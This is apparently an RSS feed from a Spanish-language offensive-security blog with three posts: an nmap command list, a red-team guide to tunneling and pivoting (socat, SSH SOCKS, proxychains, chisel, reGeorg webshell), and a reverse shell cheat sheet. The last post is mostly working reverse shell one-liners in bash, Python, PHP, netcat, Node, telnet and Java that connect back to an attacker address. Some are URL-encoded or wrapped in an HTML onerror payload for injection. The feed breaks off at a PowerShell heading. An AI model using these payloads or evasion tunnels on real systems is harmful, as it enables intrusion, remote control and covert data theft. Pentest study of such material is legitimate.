<?xml version="1.0" encoding="UTF-8"?><?xml-stylesheet href="/rss.xsl" type="text/xsl"?><rss version="2.0" xmlns:content="http://purl.org/rss/1.0/modules/content/"><channel><title>Omar Salazar</title><description>Vulnerability Research - Exploit Developer - Haskell, Go &amp; C - Linux Kernel - WebSecurity, Taurus Omar</description><link>https://xfomar.com</link><item><title>Nmap Lista de Comandos</title><link>https://xfomar.com/posts/nmapcomandos</link><guid isPermaLink="true">https://xfomar.com/posts/nmapcomandos</guid><description>Lista de comandos para escaneo, enumeración y evasión de nmap más útiles con esta completa hoja de trucos </description><pubDate>Sat, 28 Mar 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Nmap (Network Mapper) simplemente &lt;strong&gt;es un escáner de red basado en (software libre) y de código abierto, el cual se utiliza para escanear redes así como durante una de las fases de Pentesting puntualmente en la fase de reconocimiento&lt;/strong&gt;, el cual permite al Tester descubrir hosts y servicios de una red, enviando paquetes para posteriormente analizar sus respuestas.&lt;/p&gt;
&lt;p&gt;Veremos unos cuantos comandos de Nmap, pasando de básicos pasivos a los que se usan comúnmente durante un reconocimiento pasarás de &lt;strong&gt;(Bot to Hero)&lt;/strong&gt;.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Escaneo de un host&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;nmap www.tusitio.com
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Escaneo para detectar el OS y servicios&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;nmap -A 127.0.0.1
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Simple / Escaneo de una ip&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;nmap 127.0.0.1
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Escaneo de una sub-red&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;nmap 127.0.0.1/24
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Escaneo de servicios estándar&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;nmap -sV 127.0.0.1
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Escaneo de un rango de direcciones&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;nmap 127.0.0.1-20
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Escaneo de un solo puerto&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;nmap -p 22 127.0.0.1
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Escaneo de un rango de puertos&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;nmap -p 1-100 127.0.0.1
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Escaneo de múltiples ips / guardados en un archivo de texto&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;nmap -iL lista-de-ips.txt
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Escaneo de todos los puertos total (65535)&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;nmap -p- 127.0.0.1
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Escaneo de los 100 puertos más comunes&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;nmap -F 127.0.0.1
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Escaneo usando el TCP SYN (por default)&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;nmap -sS 127.0.0.1
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Escaneo usando una conexión TCP&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;nmap -sT 127.0.0.1
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Escaneo de puertos UDP&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;nmap -sU -p 123,161,162 127.0.0.1
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Escaneo de puertos mas comunes e ignorar el descubrimiento DNS&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;nmap -Pn -F 127.0.0.1
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Escaneo y detección del banner&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;nmap -sV --version-duration 0 127.0.0.1
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Escaneo y detección del banner más agresiva&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;nmap -sV --version-Intensity 5 127.0.0.1
    ```

- **Exportar los resultados en un archivo predeterminado**

```bash title=&quot;bash&quot;
nmap -oN escaneo.txt 127.0.0.1
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Exportar los resultados en un archivo xml&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;nmap -oX escaneo.xml 127.0.0.1
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Exportar los resultados en un archivo grepeable&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;nmap -oG escaneo.txt 127.0.0.1
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Exportar los resultados en todos los formatos&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;nmap -oA escaneo 127.0.0.1
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Escanear usando los scripts predeterminados&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;nmap -sV -sC 127.0.0.1 /
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Escanear con un conjunto de scripts&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;nmap -sV --script=smb* 127.0.0.1
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Escanear usando un script específico&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;nmap -sV --script=http-shellshock 127.0.0.1
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Escaneo de aplicaciones web en rutas conocidas&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;nmap --script=http-enum 127.0.0.1/24
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Detección de los encabezados HTTP en todos los servicios web&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;nmap --script=http-headers 127.0.0.1/24
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Obtener la mayor información sobre la dirección IP&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;nmap --script=asn-query,whois,ipgeolocation-maxmind 127.0.0.1/24
&lt;/code&gt;&lt;/pre&gt;
&lt;h1&gt;&lt;strong&gt;Mis Comandos Nmap&lt;/strong&gt;&lt;/h1&gt;
&lt;p&gt;Aunque prácticamente con la lista de comandos previamente publicados se podría realizar una lista muy extensa de combinaciones,
al momento que requieras realizar un reconocimiento de host y puertos, logrando convertirte en un (&lt;strong&gt;samurai&lt;/strong&gt;) del reconocimiento.
Te dejo una lista de los comandos que más suelo usar.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;nmap -sC -sV -O -T4 -n -Pn -vvv -oN  resultados 127.0.0.1
nmap -sC -sV -O -T4 -n -Pn -p- -vvv -oN resultados 127.0.0.1
nmap --min-rate 10000 -p- -vvv -oN resultados 127.0.0.1
nmap -sT --min-rate 10000 -p- -vvv -oN  resultados 127.0.0.1
nmap -sC -sV -vvv -oN resultados 127.0.0.1
&lt;/code&gt;&lt;/pre&gt;
</content:encoded><author>Omar Salazar</author></item><item><title>Tunneling el arte de encapsular la red</title><link>https://xfomar.com/posts/tunneling-1</link><guid isPermaLink="true">https://xfomar.com/posts/tunneling-1</guid><description>Tunneling técnicas utilizadas para evadir controles de seguridad y establecer canales de comunicación encubiertos.</description><pubDate>Sun, 29 Mar 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;El tunneling encapsula un protocolo de red dentro de otro para crear un &quot;túnel&quot; que atraviesa redes y firewalls, permitiendo en operaciones de red team evadir detección y controles de seguridad, establecer canales encubiertos de comando y control, exfiltrar datos sigilosamente y acceder a sistemas y redes internas de manera discreta.&lt;/p&gt;
&lt;p&gt;Esto permite que durante el proceso se puedan aplicar técnicas de pivoting o reenvío de puertos para utilizar un host pivote dentro de la red interna, como una máquina de lanzadera y permitir conectarse con otras redes no enrutadas como dispositivos críticos y otros del directorio activo, incluyendo el controlador AD y todo el perímetro.&lt;/p&gt;
&lt;p&gt;Contextualizando, el tunneling y las técnicas de pivoting llegan hacer una de las técnicas cruciales al momento de realizar las pruebas por parte del equipo de Red Team, lo que permite evaluar la resistencia y fortaleza de las infraestructuras de red.&lt;/p&gt;
&lt;h2&gt;&lt;strong&gt;Contexto del tunneling en el Red Team&lt;/strong&gt;&lt;/h2&gt;
&lt;p&gt;El &amp;lt;b&amp;gt;simulador de adversario&amp;lt;/b&amp;gt; tiene que ser capaz de superar los límites de la red, para de esta forma tratar de acceder a información y recursos confidenciales en entornos altamente protegidos, durante la evaluación por lo general se toquetea primero es el servidor web y el objetivo es abrirse camino usando las técnicas de tunneling.&lt;/p&gt;
&lt;h2&gt;&lt;strong&gt;Técnicas para realizar un buen tunneling&lt;/strong&gt;&lt;/h2&gt;
&lt;p&gt;Aunque existen una gran variedad de técnicas para realizarlo, podemos centrarnos en algunas de las que en mi punto de vista son las mejores y las que uso de manera habitual cuando tengo que proceder con algún proceso. Básicamente tocaremos ciertos protocolos o apoyándonos en algunas de las herramientas que en mi opinión van mejor que otras, aunque entre gustos y colores cada quien.&lt;/p&gt;
&lt;h2&gt;&lt;strong&gt;Socat Tunneling&lt;/strong&gt;&lt;/h2&gt;
&lt;p&gt;Podríamos crear un túnel TCP entre un puerto local (xxxx) y un puerto remoto 80 en la dirección IP x.x.x.x utilizando la herramienta de red «socat». La técnica crea un túnel TCP que reenvía todas las conexiones entrantes en el puerto local (xxxx) al puerto remoto 80 en la dirección IP x.x.x.x. Este tipo de túnel se puede utilizar para lograr enrutar el tráfico de red a través de una conexión cifrada o para saltar restricciones de firewall o de red, entre otros usos.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;socat TCP-LISTEN:1234,fork TCP:2.2.2.2:80
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;«&lt;strong&gt;TCP-LISTEN:1234&lt;/strong&gt;«: Indica que socat debe escuchar en el puerto 1234 para nuevas conexiones entrantes.&lt;/li&gt;
&lt;li&gt;«&lt;strong&gt;fork&lt;/strong&gt;«: Confirmar que el socat debe manejar las conexiones entrantes en un proceso separado.&lt;/li&gt;
&lt;li&gt;«&lt;strong&gt;TCP:2.2.2.2:80&lt;/strong&gt;«: Esta opción indica que socat debe conectarse al puerto 80 en la dirección IP 2.2.2.2.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;&lt;strong&gt;Reverse SSL Tunneling&lt;/strong&gt;&lt;/h2&gt;
&lt;p&gt;Crear un túnel SSL inverso que permita redirigir el tráfico desde un puerto remoto en un servidor a un puerto local en tu máquina, lo que establece una conexión SSL/TLS con un servidor remoto y poder lograr que todo el tráfico vaya desde el servidor al puerto local 80 de tu máquina a través de un tunel de «openssl s_client» a «nc» así como a su vez, monitorear el tráfico de red entrante en el puerto local 80 para fines de depuración o análisis.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;openssl s_client -connect remote-server:1234 -servername x.x.x.x -quiet | nc -l -p 80 &amp;gt; logfile.log
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;openssl s_client -connect remote-server:1234 -servername example.com -quiet&lt;/strong&gt;: Esta parte del comando establece una conexión SSL con el servidor remoto y redirige el tráfico entrante al puerto local 80.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;| nc -l -p 80 &amp;gt; logfile.log&lt;/strong&gt;: Aquí confirmamos que el tráfico entrante se redirige del puerto local 80 a un archivo de registro llamado «logfile.log», en cuanto al archivo puedes cambiar el nombre del archivo y el directorio según sea necesario.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;&lt;strong&gt;Dynamic SSH tunneling&lt;/strong&gt;&lt;/h2&gt;
&lt;p&gt;Con esta técnica se puede crear un túnel SSH dinámico que permite al red team enrutar todo el tráfico de red a través de una conexión SSH segura, usando el método de &lt;strong&gt;Dynamic SSH tunneling&lt;/strong&gt; todo el tráfico de red viajara través de la conexión SSH cifrada hacia el servidor remoto, lo que proporciona una capa adicional de seguridad en redes «inseguras o públicas».&lt;/p&gt;
&lt;p&gt;Aunque el objetivo principal es el permitir acceder a contenido restringido geográficamente, ya que la característica de esta conexión es simular parece estar originada en el servidor remoto en lugar de en la ubicación actual. Con el envió dinámico de puertos, se lograría abrir un puerto local en la máquina pivote, el protocolo SSH escuchará en este puerto y se comportará como un servidor proxy SOCKS (SOCKS4 o SOCKS5).&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;ssh user@ssh_server -D 127.0.0.1:1337 -N
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;ssh user@ssh_server&lt;/strong&gt;: Aquí establecemos la conexión SSH al servidor remoto Ej:»192.168.2.105″ con el nombre de usuario.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;D 127.0.0.1:1337&lt;/strong&gt;: Con esta opción iniciamos un túnel dinámico SSH y especificamos el puerto local «1337» donde se va a escuchar para las conexiones SOCKS entrantes puedes usar cualquier puerto disponible.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;N&lt;/strong&gt;: Comunicamos al protocolo SSH que no ejecute un comando remoto después de la autenticación, es decir no abra una sesión de shell remota. (&lt;strong&gt;Ya que el objetivo es enviar todas solicitudes a todas las redes accesibles desde la máquina pivote a través del proxy usando CURL&lt;/strong&gt;)&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;curl --head [http://10.10.10.10](http://10.10.10.10/) --proxy socks5://127.0.0.1:1337
HTTP/1.1 302 Found
Date: Sat, 05 Nov 2022 12:30:45 GMT
Server: Apache/2.4.39 (Win64) OpenSSL/1.1.1c PHP/8.1
X-Powered-By: PHP/8.1
Location: http://10.10.10.10/panel/
Content-Type: text/html; charset=UTF-8
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;&lt;strong&gt;Proxychains&lt;/strong&gt; &lt;strong&gt;Tunneling&lt;/strong&gt;&lt;/h2&gt;
&lt;p&gt;Proxychains es una de mis herramienta favoritas durante alguna las operaciones de simulación de adversario, esta permite que el tráfico de red pase a través de uno o más servidores bajo proxy SOCKS. Esta es una herramienta muy útil cuando no puede pasar a través de un proxy de forma nativa, en pocas palabras puede hacer que una aplicación se comunique a través de una cadena de servidores proxy en lugar de conectarse directamente a un servidor.&lt;/p&gt;
&lt;p&gt;Esta herramienta admite varios tipos de servidores proxy, incluyendo proxies HTTP, SOCKS4 y SOCKS5 asi como establecer autenticación de usuario y encriptación de tráfico lo que permite proteger la privacidad y la seguridad de nuestra conexión. La utilidad principal de &lt;strong&gt;Proxychains&lt;/strong&gt; es cuando se necesita acceder a un servidor remoto a través de un proxy para evitar restricciones de red.&lt;/p&gt;
&lt;p&gt;1.) Instalar la herramienta proxychains en tu sistema operativo. Puedes hacerlo mediante comandos:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;sudo apt install proxychains (debian)
sudo pacman syu proxychains (arch)
sudo emerge -a proxychains (gentoo)
sudo yum install proxychains (fedora)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;2.) Procedemos a editar el archivo de configuración de proxychains en la ruta =&amp;gt; /etc/proxychains.conf agregamos la lista de proxy(s) SOCKS a través de los cuales nos queremos conectar.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;[ProxyList]
socks4  127.0.0.1 1337
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;3.) Procedemos hacer tunneling con proxychains, simplemente agrega «proxychains» antes del comando que deseas ejecutar, esto conectará a través de SSH al servidor ssh_server y establecerá un túnel SOCKS en el puerto 1337.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;proxychains ssh user@ssh_server -D 127.0.0.1:1337 -N
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;4.) Vía CURL a través del túnel SOCKS establecido, por lo que la conexión al sitio web se realizará a través del servidor SSH. tenemos que asegurarnos que el servicio del proxy esté ejecutándose antes de hacer el tunneling.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;proxychains curl --head http://10.10.10.10
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;&lt;strong&gt;Chisel HTTP Tunneling&lt;/strong&gt;&lt;/h2&gt;
&lt;p&gt;Si hablamos de Chisel, posiblemente podemos afirmar que es una de las herramientas mas poderosas en el campo del tunneling, esta encapsulará una sesión TCP en un túnel HTTP , la comunicación está totalmente encriptada a través de SSH, y admite autenticación mutua, reconexión automática y tiene su servidor proxy SOCKS 5 privado. Para ser mas concretos con Chisel se puede hacer todo lo que otras herramientas hacen u otros métodos de protocolos ofrecen.&lt;/p&gt;
&lt;p&gt;1.) Máquina de pivote&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;chisel server -p 8080 --host 192.168.100.105 -v
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;p 8080: indica que el servidor proxy se ejecutará en el puerto 8080.&lt;/li&gt;
&lt;li&gt;–host 192.168.2.105: Espeficar la dirección IP del host en el que se ejecutará el servidor proxy. En este caso, el servidor proxy se ejecutará en el host con la dirección IP 192.168.100.105.&lt;/li&gt;
&lt;li&gt;«-v»: Una opción para exponer el «verbose» o «verboso», lo que significa que se imprimirán mensajes detallados en la consola para informar sobre el estado de la ejecución del comando.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;2.) Máquina del operador:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;chisel client -v http://192.168.100.105:8080 127.0.0.1:33333:10.10.10.20:80
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Iniciará un cliente que se conectará a un servidor proxy en la dirección IP 192.168.2.105 en el puerto 8080, y establecerá un túnel entre el puerto local 33333 en el cliente y el puerto 80 en el host remoto 10.10.10.20 a través del servidor proxy. Además, se imprimirán mensajes detallados en la consola por el comando (-v) lo que permite observar el estado de la ejecución del comando.&lt;/p&gt;
&lt;p&gt;3.) Verificación y estado de los encabezados&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;curl --head http://127.0.0.1:33333
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Enviamos la solicitud HTTP que se realiza a la dirección IP local del cliente en el puerto 33333 utilizando el protocolo HTTP. La respuesta que se obtendremos será solo los encabezados de la respuesta HTTP del servidor que esté escuchando en el puerto 80 del host remoto especificado anteriormente.&lt;/p&gt;
&lt;h2&gt;&lt;strong&gt;reGeorg Tunneling&lt;/strong&gt;&lt;/h2&gt;
&lt;p&gt;Esta herramienta funciona mediante una webShell para crear un proxy SOCKS local. Esta característica resulta particularmente útil cuando, se encuentra en una situación desafiante donde toda la comunicación TCP, los servicios de enlace y el tráfico saliente se encuentran bloqueados.&lt;/p&gt;
&lt;p&gt;En lugar de reenviar el puerto local, la herramienta establece un proxy SOCKS local para comunicarse con la webShell. Aunque muchas herramientas nuevas usan este proceso de implementación en varios escenarios donde se requiere la utilización de un webshell en la máquina comprometida para establecer la conexión desde la máquina del operador.&lt;/p&gt;
&lt;p&gt;Como toda maniobra de webShell primero hay que cargar el archivo de túnel (aspx|ashx|jsp|php) en el servidor web de destino puedes usar la extensión que se acorde al escenario que se tenga en frente.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;python reGeorgSocksProxy.py -p 8080 -u http://server:8080/tunnel.jsp
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Descargar &lt;strong&gt;reGeorg&lt;/strong&gt;: &lt;strong&gt;&lt;a href=&quot;https://github.com/sensepost/reGeorg&quot;&gt;Aqui&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;
&lt;h2&gt;&lt;strong&gt;Herramientas y mas herramientas&lt;/strong&gt;&lt;/h2&gt;
&lt;p&gt;Aunque existen cientos de herramientas para tunneling-pitvoting, las que te presento en el articulo posiblemente sean las mas usadas, cabe recalcar que cada uno maneja sus técnicas y sus comandos oneliner, en varios repositorios de GitHub puedes encontrar cientos de herramientas, en cuanto al uso que se le y como se lo ponga en practica ya es cuestión de cada uno pues las posibilidades son infinitas.&lt;/p&gt;
</content:encoded><author>Omar Salazar</author></item><item><title>Reverse Shell Cheat Sheet</title><link>https://xfomar.com/posts/reverse-shellcheat-sheet</link><guid isPermaLink="true">https://xfomar.com/posts/reverse-shellcheat-sheet</guid><description>Bash, Reverse Shell, Python, Php; Netcat TCP; Bash UDP, PowerShell, Msfvenom, Shell Reverse</description><pubDate>Mon, 30 Mar 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Una reverse shell es una técnica ampliamente utilizada pruebas de pentesting, que permite a un atacante tomar el control de un sistema comprometido y acceder a él de forma remota. Básicamente, una vez que el atacante ha logrado acceder al sistema, establece una conexión de red inversa entre el sistema comprometido y su propia máquina, lo que le permite ejecutar comandos de manera remota y controlar el sistema.&lt;/p&gt;
&lt;h1&gt;&lt;strong&gt;Contexto&lt;/strong&gt;&lt;/h1&gt;
&lt;p&gt;En estas notas personales, he recopilado posiblemente las mejores formas de obtener una Reverse Shell según mi experiencia. Algunas de ellas son experimentos propios que han funcionado, y también he recopilado algunas otras formas de obtener una conexión reversa. Esta lista práctica podría ser una de las mejores guías sobre cómo establecer una Reverse Shell.&lt;/p&gt;
&lt;h2&gt;&lt;strong&gt;Bash&lt;/strong&gt;&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;bash -i &amp;gt;&amp;amp; /dev/tcp/10.10.10.10/443 0&amp;gt;&amp;amp;1

bash -c &quot;bash -i &amp;gt;&amp;amp; /dev/tcp/10.10.10.10/443 0&amp;gt;&amp;amp;1&quot;

0&amp;lt;&amp;amp;196;exec 196&amp;lt;&amp;gt;/dev/tcp/10.10.10.10/443; sh &amp;lt;&amp;amp;196 &amp;gt;&amp;amp;196 2&amp;gt;&amp;amp;196

bash -l &amp;gt; /dev/tcp/10.10.10.10/443 0&amp;lt;&amp;amp;1 2&amp;gt;&amp;amp;1

bash%20-c%20%22bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F10.10.10.10%2F443%200%3E%261%22

bash -i &amp;gt; /dev/tcp/10.10.10.10/443 0&amp;lt;&amp;amp;1 2&amp;gt;&amp;amp;1
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;&lt;strong&gt;Python&lt;/strong&gt;&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;python -c &apos;import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((&quot;10.0.0.1&quot;,1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([&quot;/bin/sh&quot;,&quot;-i&quot;]);’

export RHOST=&quot;10.10.10.10&quot;;export RPORT=443;python -c &apos;import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv(&quot;RHOST&quot;),int(os.getenv(&quot;RPORT&quot;))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn(&quot;/bin/sh&quot;)&apos;

python -c &apos;import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((&quot;10.10.10.10&quot;,443));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn(&quot;/bin/bash&quot;)&apos;

python3 -c &apos;import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((&quot;10.10.10.10&quot;,443));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn(&quot;/bin/bash&quot;)&apos;
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;&lt;strong&gt;Php&lt;/strong&gt;&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;?php passthru(&quot;rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2&amp;gt;&amp;amp;1|nc 10.10.10.10 443 &amp;gt;/tmp/f&quot;); ?&amp;gt;

php -r &apos;$sock=fsockopen(&quot;10.10.10.10&quot;,443);`/bin/sh -i &amp;lt;&amp;amp;3 &amp;gt;&amp;amp;3 2&amp;gt;&amp;amp;3`;&apos;

php -r &apos;$sock=fsockopen(&quot;10.10.10.10&quot;,443);exec(&quot;/bin/sh -i &amp;lt;&amp;amp;3 &amp;gt;&amp;amp;3 2&amp;gt;&amp;amp;3&quot;);&apos;

php -r &apos;$sock=fsockopen(&quot;10.10.10.10&quot;,443);system(&quot;/bin/sh -i &amp;lt;&amp;amp;3 &amp;gt;&amp;amp;3 2&amp;gt;&amp;amp;3&quot;);&apos;

php -r &apos;$sock=fsockopen(&quot;10.10.10.10&quot;,443);shell_exec(&quot;/bin/sh -i &amp;lt;&amp;amp;3 &amp;gt;&amp;amp;3 2&amp;gt;&amp;amp;3&quot;);&apos;

php -r &apos;$sock=fsockopen(&quot;10.10.10.10&quot;,443);shell_exec(&quot;/bin/sh -i &amp;lt;&amp;amp;3 &amp;gt;&amp;amp;3 2&amp;gt;&amp;amp;3&quot;);&apos;
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;&lt;strong&gt;NetCat&lt;/strong&gt;&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;ncat 10.10.10.10 443 -e /bin/bash

nc -c /bin/sh 10.10.10.10 443

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2&amp;gt;&amp;amp;1|nc 10.10.10.10 443 &amp;gt;/tmp/f

nc.exe -e cmd 10.10.10.106 443

nc -e /bin/sh 10.10.10.10 443

rm%20%2Ftmp%2Ff%3Bmkfifo%20%2Ftmp%2Ff%3Bcat%20%2Ftmp%2Ff%7C%2Fbin%2Fsh%20-i%202%3E%261%7Cnc%2010.10.10.10%20443%20%3E%2Ftmp%2Ff
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;&lt;strong&gt;Node&lt;/strong&gt;&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;require(&apos;child_process&apos;).exec(&apos;bash -i &amp;gt;&amp;amp; /dev/tcp/10.10.10.10/443 0&amp;gt;&amp;amp;1&apos;);

&amp;lt;audio src*=x* onerror=&quot;const exec= require(&apos;child_process&apos;).exec;exec(&apos;nc -e 3 192.168.111.129 1337 &amp;lt; /bin/bash&apos;, (e, stdout, stderr)=&amp;gt; { if (e instanceof Error) {console.error(e); throw e; } console.log(&apos;stdout &apos;, stdout);console.log(&apos;stderr &apos;, stderr);});alert(&apos;1&apos;)&quot;&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;&lt;strong&gt;Telnet&lt;/strong&gt;&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;rm -f /tmp/p; mknod /tmp/p p &amp;amp;&amp;amp; telnet 10.10.10.10 443 0/tmp/p

telnet 10.10.10.10 80 | /bin/bash | telnet 10.10.10.10 443
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;&lt;strong&gt;Java&lt;/strong&gt;&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;r = Runtime.getRuntime()p = r.exec([&quot;/bin/bash&quot;,&quot;-c&quot;,&quot;exec 5&amp;lt;&amp;gt;/dev/tcp/10.10.10.10/443;cat &amp;lt;&amp;amp;5 | while read line; do \$line 2&amp;gt;&amp;amp;5 &amp;gt;&amp;amp;5; done&quot;] as String[])p.waitFor()
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;&lt;strong&gt;PowerShell&lt;/strong&gt;&lt;/h2&gt;
